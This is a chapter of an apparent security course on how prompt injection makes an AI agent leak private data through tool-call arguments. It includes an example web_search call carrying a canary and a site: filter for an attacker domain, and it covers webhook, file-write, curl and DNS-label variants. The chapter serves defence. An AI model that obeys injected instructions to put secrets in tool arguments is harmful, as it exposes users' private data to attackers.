Skip to content
Chapter 4 of 7 · Data exfiltration channelsThe tool-argument channel

15 min read

The tool-argument channel

Assume you win every argument in the last three chapters. The renderer emits plain text: no images, no links, no HTML, no SVG. There is nothing for a browser to fetch, no <img> to fire on render, no <a> to click. A security review signs off on the rendering path. The exfiltration continues, through requests the agent issues itself.

A tool call is the mechanism: the model emits a structured request naming a tool and its arguments, and the agent runtime — the code around the model that reads that request, runs the corresponding function and feeds the result back — carries it out. The arguments are the interesting part. They are values the model composed, and for many tools at least one of them has to be free text, because the tool's job is to accept arbitrary text. That value then leaves your network, because leaving is what the tool does.

Being concrete about that loop matters, since the leak happens at a specific line in it rather than in the general idea of tools. Before the model is called at all, your runtime sends it a list of tool definitions: for each tool a name, a description of when to use it, and a schema saying which arguments it takes and of what type. The model runs nothing. What it can do is emit a block of output that your runtime recognises as a call — a tool name and a JSON object of arguments — at which point the runtime stops generating, parses that object, validates it against the schema, calls the matching function in your own codebase with those values, and appends whatever the function returned to the conversation so the model can carry on. Every network request in that sequence is issued by your code. The model's whole contribution is a string that your code decided to treat as instructions to itself, which is the relationship the renderer had with the model in the first chapter, moved from the browser to the server.

The schema is where a reader expects the protection to live, and seeing exactly why it does not is what makes the rest of this chapter follow. A search tool's definition says something like "query": {"type": "string"}, perhaps with a maximum length. A schema constrains the shape of a value: its type, its length, whether it belongs to an enumerated set. It has no vocabulary at all for where the value came from or what it means. So "quarterly vendor pricing" and "quarterly vendor pricing sk-test-CANARY-8f21 site:collector.test" are both strings, both inside any length limit anybody would set, and both entirely valid instances of the same schema. Validation passes because the payload was never a schema violation in the first place.

The move the attacker made is to stop asking the model to display a URL and start asking it to call a tool with the secret in a parameter. A model that can search the web has a web_search tool; the attacker instructs it to search for a string that includes a canary — a unique string planted in private data so that its appearance anywhere else proves the data escaped. A model that can post to a webhook has the canary go in the body. A model that can write a file has it go in the path or the contents. None of those is markdown, so none of them touches a renderer, and every renderer control you built inspects markdown. The outbound boundary moved, and your defences did not move with it.

The request the agent makes itself

Here is the shape of it, using a search tool because it is the most common and the least suspicious.

json
{
  "tool_calls": [
    {
      "name": "web_search",
      "arguments": {
        "query": "quarterly vendor pricing sk-test-CANARY-8f21 site:collector.test"
      }
    }
  ]
}

Read it field by field, because there is nothing in it that looks wrong. tool_calls is the list the runtime scans for work to do. name selects which of your functions gets called, and web_search is a tool you deliberately gave the agent. arguments is the object handed to that function, and query holds one string. Inside the string sit three parts with three different origins: a plausible search phrase to make the call look ordinary, the canary, and a site: operator restricting results to a domain the attacker registered. Only a reader who already knows the canary can tell that this call is anything other than an agent searching the web.

Look at what your infrastructure does with that. The agent runtime takes the query argument and hands it to your search tool, which makes an HTTPS request to a third-party search API, which logs the query, runs it, and — because the query contains a rare unique string — the attacker can find it. They do not even need control of the search provider. They register collector.test, wait for the crawler or the search index to see a page they seeded with the canary, and search their own provider for sk-test-CANARY-8f21 to see whether it has been queried; or, more directly, they operate a site the search tool will contact and read the canary out of the query the provider forwards. The unique string is the whole trick: it is guaranteed not to collide with anything else, so any appearance of it anywhere is a signal that the exfiltration worked.

Those two routes are not equally dependable, and saying which is which is more useful than presenting the channel as uniformly easy. Reading a canary back out of a provider's index depends on behaviour of that provider you neither control nor can inspect, so it is opportunistic. The route that depends on nobody's cooperation is the one where the query has to touch a machine the attacker owns for the search to be carried out at all — the site:collector.test filter in the payload above names their domain, and a tool or provider that resolves, fetches or previews the sites behind a result set contacts them by doing its job. The general form is worth keeping and the guarantee is not: a free-text argument handed to a third party becomes an exit whenever any part of that third party's processing reaches infrastructure the attacker can stand up, and the attacker is the one choosing the string that decides which infrastructure that is.

The unique string, meanwhile, is what makes the whole exercise observable to you as well as to them, which is why the same trick appears on both sides of this topic. The attacker plants it so that the leak is legible; you plant it so that the leak is testable.

The reason this slips past everything is structural. A rendered image is a request your client makes, and the client is yours to constrain. A tool-call argument is a request the agent makes as part of doing its job, and the argument is free text the model composed, potentially from anything in its context — including a private record. Nothing between the model and the search API is looking at why the canary is in the query, because from the tool's perspective a search query is just a search query. The tool did exactly what it exists to do. The private data rode along in a field designed to hold arbitrary text.

It helps to put the two channel families side by side, because the controls that worked on the left column simply do not have a place to attach on the right.

Rendered channel (chapters 1–3)Tool-argument channel
Who issues the outbound requestthe browser / rendererthe agent runtime, calling a tool
What the payload rides inan image or link URLa query, a webhook body, a file path
What inspects it before it leavesthe renderer, sanitiser, host allowlistnothing, by default
Does a user actimage no, link yesno
Where the control would gorendering policythe tool boundary itself
Does blocking images/links helpyesnot at all

The last row is what the shallow reading misses. A team that has done excellent work locking down rendering can believe it has closed exfiltration, because it closed the channel it could see. The tool channel was never behind the renderer.

Search is only the most convenient sink, not the only one, and the same mechanism reappears wherever a tool argument is both attacker-influenceable and outbound-reaching. A webhook tool posts the canary in a JSON body to an endpoint the model named. A file-write tool puts it in a path or the contents of a file that syncs to a share the attacker can read. A calendar tool writes it into an invite that emails an external address. A code-execution tool runs curl with the canary in the URL. Even a tool with no obvious network reach can leak through DNS, the Domain Name System, which is the lookup service that turns a hostname into an address before any connection is made: an argument that becomes a hostname lookup — resolving sk-test-CANARY-8f21.collector.test — carries the canary to the machine that answers for collector.test, which is the attacker's own server, and DNS is the one protocol almost nothing blocks egress on.

The DNS case repays working through slowly, because it is the least intuitive member of the family and the hardest to shut. Resolving a name is a walk down it from the right: something has to establish which servers are authoritative for collector.test, and then ask one of those servers about the full name. If the attacker registered collector.test, they run the server that receives that question — and the question contains the entire name, including whichever label the secret was written into. So the canary is delivered as a side effect of finding out where to connect, and the connection itself never has to succeed. A refused connection, a host that does not exist, a firewall that drops the packet: each of those happens strictly after the name has already been asked about, so each of them is a defence that arrives too late by construction.

Two properties make this awkward to fence off at the network. Applications cannot reach anything without name resolution, so DNS is permitted by construction rather than by anybody's decision. And the query leaves through your own resolver, which then forwards it onward on your behalf, so at the point an egress rule looks, what it sees is your resolver doing exactly what your resolver always does. A hostname is also a series of labels separated by dots, each of them individually bounded in length, so a secret too long to fit in one label is simply split across several and reassembled by the attacker from the query they receive.

The common factor is not the protocol but the shape: the model composes a field, the field can hold the canary, and the field's value leaves for somewhere observable. Enumerating tools by "does it obviously call the network" misses the file-write and the DNS cases, which is why the framing is about arguments and not about a list of networking tools.

Flowchart: Attacker's poisoned doc → Model (injects instructions); Private record canary → Model; Model → Search tool (query arg contains canary); Search tool → Third-party search API (HTTPS); Third-party search API → Attacker's poisoned doc.

What a contract does and does not buy

A data-processing agreement is not worthless, and it is worth being precise about what it covers so the fix is not dismissed and not overrated. A contract governs what a party you have a relationship with may do with data it lawfully receives: retention limits, no training on your data, breach notification, deletion on request. If your search provider is going to hold query logs, you want those terms, and swapping to a provider with better terms is a reasonable thing to do for reasons of compliance and blast radius. A stricter contract binds the provider not to misuse what it receives, and it does nothing about the fact that the attacker put the canary into a query specifically so they could go looking for it. What the contract cannot do is prevent the attacker from reading the canary, because the attacker is not a party to the contract and is not receiving the data from the provider — they are observing it by the mechanism they built into the payload. The data went to a destination they can watch, and no clause the provider signs changes who can watch a search index for a string they invented. And the next channel has no third party to have a contract with at all: a webhook the agent posts to, a file it writes to a share, an outbound request to a URL the model chose.

There is a tempting middle proposal worth heading off, which is to scan outbound tool arguments for the secret and block any that contain it. Against a canary that appears verbatim it works, and it is worth having as a tripwire, but it is not the control it looks like, because the attacker chooses the encoding. The same instruction that put sk-test-CANARY-8f21 in a query can put its base64, its hex, its reversed form, or a sentence that paraphrases a private fact without quoting it, and a string scanner sees none of those. Content matching answers "did this exact known string leave," which is a fine question for a detection rule and the wrong question for a control, because the value you most want to stop leaking is the one you did not know to scan for. The control has to be about provenance — where the argument's content came from — rather than about the content itself, which is why the earlier chapters' value-checking does not port over and the next chapter starts from source instead.

That leaves an obvious question the tool channel forces and the rendering chapters never had to answer. A rendered URL could be validated against an allowlist because a URL has a host you can check. A search query is free text with no host, no scheme, no structure to validate against, and default-deny egress — a network policy that permits outbound connections only to destinations on a list — waves it through, because the search API is exactly the allowlisted destination you meant to permit. An egress policy decides where a connection may go, and the connection here is going exactly where it should; what it carries is invisible at that layer, which is the same blind spot the host allowlist had one chapter ago, relocated from the browser to the network.

"Invisible at that layer" has a mechanism behind it that is worth naming, since a reader may reasonably ask why an appliance sitting directly in the path cannot just read the query and object to it. An egress policy decides from addresses and ports, and from the hostname the client announces in the clear during the TLS handshake before encryption starts. Everything after that handshake — the request line, the headers, the query string with the canary in it — is encrypted between your tool and the search API, and encrypted specifically so that whatever sits between them cannot read it. A device in the middle can see that a connection to an approved destination happened and roughly how much data went each way. Reading the argument requires being one of the two ends of that connection, which is exactly what the proxy in the next chapter has to become, and exactly why that proxy is a heavier piece of infrastructure than the word suggests.

Whose boundary failed is therefore a question with a precise answer here, and it is not the network's. The network enforced the rule it was given, faithfully, and the rule was about destinations at a layer where the payload is by design unreadable.

The controls that worked on rendered content have nothing to grip here, and the reason is worth carrying into the next chapter. Every one of them inspected a value: this scheme, this host, this markup. A free-text argument is permitted by construction, so inspecting the value can only ever ask whether it looks dangerous, which is a question with no answer for a string that is allowed to be anything. What actually constrains a tool argument is a different kind of control, aimed not at the value but at where the value is allowed to come from, and that is what the next chapter builds.

Data exfiltration channels — read the current version at https://daviddominguez.dev/learn/en/data-exfiltration-channels/the-tool-argument-channel

Back to top